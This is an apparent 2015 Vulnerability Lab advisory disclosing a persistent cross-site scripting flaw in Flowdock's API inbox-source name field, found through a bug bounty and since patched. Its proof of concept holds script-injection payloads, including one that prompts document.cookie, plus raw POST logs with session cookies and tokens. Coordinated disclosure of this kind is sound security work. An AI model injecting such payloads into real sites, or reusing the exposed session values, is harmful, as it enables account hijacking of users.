Flowdock API Bug Bounty #1 - (Description) Persistent Web Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Flowdock API Bug Bounty #1 - (Description) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1560


Release Date:
=============
2015-09-22


Vulnerability Laboratory ID (VL-ID):
====================================
1560


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, 
mobile & web.
Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 
days. Keeping Flowdock`s 
environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t 
hesitate to contact us 
at support () flowdock com should you have any questions about Flowdock`s security.

(Copy of the Vendor Homepage:  https://www.flowdock.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the 
official Flowdock online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-08-06: Researcher Notification & Coordination (Hadji Samir)
2015-08-07: Vendor Notification (Flowdock Security Team - Bug Bounty Program)
2015-08-08: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program)
2015-08-10: Vendor Fix/Patch (Flowdock Developer Team)
2015-09-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Rally Software
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the officialFlowdock online-service 
web-application. 
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
vulnerable context function or service module.

The vulnerability is located in the name input field of the inbox souds flowdock api service. Remote attackers with low 
privilege application user accounts 
are able to inject own malicious script codes to the application-side of the service. The request method to inject 
malicious context is POST and the attack 
vector is located on the application-side of the flowdock api web-service. Remote attackers are able to inject 
malicious script codes to the application-side 
to compromise flowdock accounts by session manipulation or session evasion attacks.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account 
and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] Inbox Source - Flowdock API

Vulnerable Parameter(s):
                                [+] description


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege application user account and low or 
medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

Manual steps to reproduce the vulnerability ...
1. Create acount with name have a payload code 
2. Click to add more sources..
3. Click add new (Git)
4. Will open new link  https://www.flowdock.com/jari/auth/git?flow=e60291f4-8869-4f08-b04d-bc07ea6eb787&intent=setup 
write anything in the name and save 
5. Now, the payloadcode will execute
6. Successful reproduce of the application-side vulnerability!


PoC: Vulnerable Source
<li class="row source-group active external_application open"><h5 class="group-title">
  <a class="expand-link">
    <i class="fa fa-caret-right arrow closed-only"></i>
    <i class="fa fa-caret-down arrow open-only"></i>
    "><img src="x" onerror=alert(1)>
    <span class="count light">(following 1 source)</span>
  </a>
</h5>
<ul class="source-list"><li class="source"><ul class="clean actions">
  <li>
  </li>
  <li>
    <a class="delete" title="Remove this source.">
      <i class="fa fa-fw fa-times"></i>
    </a>
  </li>
</ul>
<h5 class="source-title" title=""></h5>
<span class="name">
  javascript:alert(1)
  <span class="description">
    (Added by "><img src="./   img src= c  onerror=prompt(document.cookie)  iframe src= c   (   img src= c  
onerror=alert(1) ) - Flowdock_files/c" onerror="prompt(document.cookie)"><iframe src="./   img src= c  
onerror=prompt(document.cookie)  iframe src= c   (   img src= c  onerror=alert(1) ) - Flowdock_files/c"> on Aug 07)
  </span>
</span>
</iframe></span></span></li></ul>
</li>


--- PoC Session Logs [POST] ---
13:21:13.734[746ms][total 2805ms] 
Status: 200[OK]
POST https://www.flowdock.com/jari/git/pairings 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[1235] Mime Type[text/html]
   Request Headers:
      Host[www.flowdock.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[https://www.flowdock.com/jari/auth/git?flow=08bbf4d6-90bb-4e5d-9639-a8cdd218f44b&intent=setup]
      Cookie[__cfduid=d3ee44a1993dff388a7905fe132c30ef11435013606; _ga=GA1.2.1847177044.1435013486; 
ga_cid=1847177044.1435013486; 
__ar_v4=%7CNVE6VSAVAFEITPQZLCROVA%3A20150622%3A1%7CN4SGXQCDSJGPZCWP5DGWWO%3A20150622%3A1%7CP3GQR6LVEJFUDLS6YOOZNQ%3A20150622%3A1;
 
_flowdock_credentials=IjdZZW1vZHNxV0pVa3dteTF6ekc4bVhsUU8tUWdBcVo1UDJXY0RlTUVUUk0i--34afe04c5fa0be13d44c1b9957f2855eed58afc1;
 logged_in=1438944441; login=1; 
referrer=Imh0dHBzOi8vd3d3LmZsb3dkb2NrLmNvbS9hcHAvdnVsbi9pbWctc3JjLWMtb25lcnJvci1wcm9tcHQtZG9jdW1lbnQtY29va2llLWlmcmFtZS1zcmMtYy9zZXR0aW5ncy9wZW9wbGUi--0c1ce3ad9566d6eba667837e40bfc5cdfc312e1a;
 
_flowdock_session=aXdkYzRVZzkzNTFWSUtmK2NCUkZ5UHhMMzhNdXA4NWcxUkc2dGl3Y1dtYXk2V1BSRXdDUVBRdmREYzA4bEJNM2xqYkREdlVNd25Iam1QKzdxMUNHNS9tSk5UclRSZC95QldCYXVLbEtnajNMSng1S0xoOXJXTUNqOHdMQUtzNkVYK2RISndKSklGUWwxMDlSQmRuWmNnejkxeEdZTkI5Uk1RSDhJVUpNYW1sN1krVzlOQ3pLVGNGUmJzNTV2STBBKzh0Qkg1U05YZFBWQW1yVXdCcXEzVzFvbnR0djJBc2xXTHpkeUxJY2dZckdiQnNCTDlaNnlOL0hMUDUrdENYWC0tSC9QQXpmUFZ6b09TR3R5Zm9SL0E1UT09--09202d60842dba5756399463b947f6d990118337;
 
_jari_session=ZTRYV1hXQTNMbDZ6cnRlakhDVlZiTjl0S0xybVJKM1pzMmU4Q2JMenAxNXR3Q1VJMFpJbVc2c29SVldEOU1EU1gwSlVKUEQ4SUZOK0NoTkNhTXdJUlBJeDhpQTNyVVpycWZnam1UOEU2UHFPYmM4T3lwNjBKTGtNRkpETTFmaDgyVUJEVWtLTkQ3UDNGWTUrcW1DT2NDRWV3UDZVNFZJblJEdGxLMXNSQlFNNjNoTGxLTWtwYlU3SUIyRzQrWEgwT2Y4cWJWWGw0UlZNMVpxY2pWZTNFZTAwbjRlNUczK3JDOGpXTllEOVkyZmJRVEgzS1ZKdTRYKy90T1V2Z1o5dGw0UXI4T2l1N0xKTkhZeTZGOVpvK2t6dXg1TjhQcFlVY2JUQVJudGFKU3JkTmxDYUMzMnhqdGdGOUs3SmV1amVHSmVLb0NTY3JMS0xENnhIM0N1dFhyV0Rsa2wwc3pFUmwyajRyN3RHbkptaUVxUVRGWVJzVEp5MnRsSnFSSUg4SU1la1QxaGwyVjc2Ty9nVFRuV2t3TjlXeWlZZnFjYmkxZkNqL25SbFRxOWpqR2hpY0tBQVJHMm9Mc3NrKzdQSVRxWkxjTTMxTUpNVkZWbEVrMSt3MXNkNXEzVDlmQVZJdUhYdEh5Q3FmYVU9LS00dkVENEMyVjRHUURaREZMRmU4NHNRPT0%3D--37555db7d8a70a51cb36cdad27d89a59a2a58fde]
      Connection[keep-alive]
   Post Data:
      
authenticity_token[VcC1q7HxUipoZa37aKDAcxx65KfvByfRDrtyDm5r3ApWKepzR373VB7C0DQ%2BBHlAegzufv52ocZ3%2Bg4UXKwYyg%3D%3D]
      flow[08bbf4d6-90bb-4e5d-9639-a8cdd218f44b]
      flow_name[%3Cimg+src%3Dc+onerror%3Dalert%281%29%3E]
      flow_token[e085423a527c1f09bcd2f3c26a9b15a5]
      source%5Bname%5D[%22%3E%3Ciframe+src%3D%22x%22+onload%3Dalert%28%27xss_by_samir_vuln-lab%27%29%3E]
   Response Headers:
      Date[Fri, 07 Aug 2015 12:24:35 GMT]
      Status[200 OK]
      X-Frame-Options[SAMEORIGIN]
      X-XSS-Protection[1; mode=block]
      X-Content-Type-Options[nosniff]
      Content-Security-Policy[default-src *;script-src 'self';style-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 
'self';frame-src 'self' flowdock:;child-src 'self' flowdock:;referrer origin]
      Content-Type[text/html; charset=utf-8]
      Etag[W/"7562a87d6172a931cb31346f8bf6258b"]
      Cache-Control[max-age=0, private, must-revalidate]
      X-Request-Id[d52e57ab-6c07-45c5-a548-cf98c7c7ee0d]
      X-Runtime[0.160761]
Set-Cookie[_jari_session=d1RLU3JHbFZwQWpUOGFab3pYbFZqNDkyYk9SdXRmS0kweU5zTmk2ZjBYT0ZTZThLMThLdkxaY3k5UFBjRnRpQUMvVmx5S1B0WXAwYndVQTlkWWMzWGNUU1lzWExEbnRPZGJIUWpYdjdQTUxNbExJT3dHanB3eWdMVEdvTitCNE9CUk9ERnlEWDJkbDIrVm5XNFd3cUx1M2VkMnFWa0hjNDZzMEgyQys2NVhHeWZTdVNWR1hUSVlIWTJjVjg4NkpINnRQK2l5bFg1b1I0Y0h1RVhiSDBPUWhFVzFYM1hFYitpWk5tN0JTN3M1dFZkMWFBRm4zN3BnQlp6dzNqajZ5MkxBWUt3bW5QcEtzVkpCYS9lMUVoYTNiNjV4YmRFYkVPYjZCWGg5MWZSYkpjbmI2a1gybmVkc21ZYksraXRTejFhVkhNNjdZWXNua25idVdWMjQ2UXVjQkc0d1d5TXowMjF5NnY0U0JHRVVrVVdNWXNLdHB3Q1FsNVdOYkowR08yb0FFcElnd2JxVzd5R2kwNmxlYVhIdW9ibEZXanRKbWJhV2NEckpmVlF4VXBpcEthQWMvT0M2U0xXZHZpWEhIU3FkOHl6dEVycDdIM3MyOW04OURaaXVZYnJuMkVod0l5cC9LbW1HQ3FGdDQ9LS10NHJZUnZBako1aTR6MUUzazBPM1BBPT0%3D--7693378af4e0387d949146f52269990db013bf21;
 path=/; HttpOnly]
      X-Server-Id[475b6e71889f174f61273dab9d11d64422779f4c]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[1235]


Reference(s):
https://www.flowdock.com/
https://www.flowdock.com/jari/
https://www.flowdock.com/jari/git/
https://www.flowdock.com/jari/git/pairings 


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerbale input field in the source html file.
Restrict the input and disallow special chars, Escape and include an own exception handling to prevent further 
execution of script code in the same service section.
Prevent the part of vulnerable code to execute in the output section to finally patch the bug.


Security Risk:
==============
The security risk of the application-side vulnerability in the flowdock online service web-application is estimated as 
medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir () evolution-sec com]


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=========================
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